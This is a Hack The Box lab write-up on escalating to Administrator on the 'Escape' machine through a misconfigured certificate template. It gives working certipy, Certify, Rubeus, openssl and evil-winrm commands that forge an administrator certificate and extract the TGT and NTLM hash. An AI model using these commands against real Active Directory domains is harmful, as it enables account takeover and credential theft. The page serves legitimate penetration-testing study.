> For the complete documentation index, see [llms.txt](https://htb.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://htb.adot8.com/hack-the-box/oscp-like-boxes/windows/escape/priv-esc/administrator.md).

# Administrator

## Exploit without a shell

View vulnerable certificates

```
certipy find -u ryan.cooper -p passw -target sequel.htb -text -stdout -vulnerable
```

Forge a new certificate

```
certipy-ad req -u ryan.cooper -p passw -target sequel.htb -upn administrator@sequel.htb -ca sequel-DC-CA -template UserAuthentication
```

Get the TGT and NTLM hash

```
certipy-ad auth -pfx administrator.pfx 
```

## Exploit via shell on machine

```
.\Certify.exe find /vulnerable
```

<figure><img src="https://2227792809-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLw94TQyn4rROgGvJT1nC%2Fuploads%2F4QhCj5FghAMl9qvjG67J%2Fimage.png?alt=media&amp;token=4130282a-4b0e-417a-b73e-e5a66460ece9" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Enrollment rights are set for Domain Users as well which can be leveraged if you're in that group&#x20;
{% endhint %}

<figure><img src="https://2227792809-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLw94TQyn4rROgGvJT1nC%2Fuploads%2Fzao7zMfYVH7mf8aLWr24%2Fimage.png?alt=media&amp;token=40087389-0dae-4f8b-a0f5-73e2167b9344" alt=""><figcaption></figcaption></figure>

We are requesting a ticket for our user but saying that our user is the administrator

```
.\Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:administrator
```

<figure><img src="https://2227792809-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLw94TQyn4rROgGvJT1nC%2Fuploads%2FWVEp91RhYdRrVbDNfTpm%2Fimage.png?alt=media&amp;token=69089caf-0b82-40bd-93f9-c8c07049d194" alt=""><figcaption></figcaption></figure>

### &#x20;Port 5986 (winrm) is open

Move the Private key contents to a key.pem file and the Public key to a key.cert file

```
evil-winrm -S -c key.cert -k key.pem -i dc.sequel.htb
```

### Port 5986 is closed

Put certificate contents into a **cert.pem** file and convert to pfx

```
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```

Upload Rubeus and newly made **cert.pfx**

```
.\Rubeus.exe asktgt /user:administrator /certificate:C:\programdata\cert.pfx /getcredentials /show /nowrap
```

{% hint style="info" %}
&#x20;**/getcredentials /show /nowrap** gives us the NTLM hash of the user
{% endhint %}

<figure><img src="https://2227792809-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLw94TQyn4rROgGvJT1nC%2Fuploads%2FLd6VUn6kVyEWXhVwpXdr%2Fimage.png?alt=media&amp;token=ac750d31-f5c2-4af8-8871-823d3791a2a6" alt=""><figcaption></figcaption></figure>

We can either use the ticket to login or the NTLM hash

<figure><img src="https://2227792809-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLw94TQyn4rROgGvJT1nC%2Fuploads%2FJQSRCzqDz3dIDRAepHLz%2Fimage.png?alt=media&amp;token=abe7fd3f-aa39-47cb-9a55-d4a1e8d7c436" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2227792809-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLw94TQyn4rROgGvJT1nC%2Fuploads%2FqR9xFPTuxuWmrS5SwKzt%2Fimage.png?alt=media&amp;token=201c2b2c-8aeb-43b8-945f-979f7a1f2d55" alt=""><figcaption></figcaption></figure>
